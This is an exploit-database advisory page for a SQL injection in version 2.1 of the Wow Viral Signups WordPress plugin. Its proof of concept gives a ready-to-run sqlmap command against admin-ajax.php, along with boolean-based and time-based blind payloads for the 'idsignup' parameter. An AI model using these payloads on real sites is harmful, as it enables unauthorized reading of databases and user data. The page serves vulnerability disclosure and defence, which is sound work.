Wow Viral Signups v2.1 WordPress Plugin SQL Injection

vendor:

Wow Viral Signups

by:

TAD GROUP

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Wow Viral Signups

Affected Version From: 2.1

Affected Version To: 2.1

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2017

Wow Viral Signups v2.1 WordPress Plugin SQL Injection

An unescaped parameter was found in Wow Viral Signups v2.1 (WP plugin). An attacker can exploit this vulnerability to read from the database. The POST parameter 'idsignup' is vulnerable.

Mitigation:

Input validation and escaping should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Wow Viral Signups v2.1 WordPress Plugin SQL Injection
# Date: 29/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: http://wow-company.com/
# Software Link: https://wordpress.org/plugins/mwp-viral-signup/
# Version: 2.1
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits

1. Description

An unescaped parameter was found in Wow Viral Signups v2.1 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The POST parameter 'idsignup' is vulnerable.

2. Proof of concept

sqlmap -u  "http://server/wp-admin/admin-ajax.php" --data "action=mwp_signup_send&email=GING%40MAIL.RU&hvost=%3Fpage_id%3D47&idsignup=1" --dbs --threads=10 --random-agent --dbms mysql

Parameter: idsignup (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=mwp_signup_send&email=GING@MAIL.RU&hvost=?page_id=47&idsignup=1 AND 5272=5272

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: action=mwp_signup_send&email=GING@MAIL.RU&hvost=?page_id=47&idsignup=1 AND (SELECT * FROM (SELECT(SLEEP(5)))hXXu)

3. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.

4. Impact

Critical

5. Affected versions

<= 2.1

6. Disclosure timeline

15-Mar-2017 - found the vulnerability
15-Mar-2017 - informed the developer
29-Mar-2017 - release date of this security advisory

Not fixed at the date of submitting this exploit.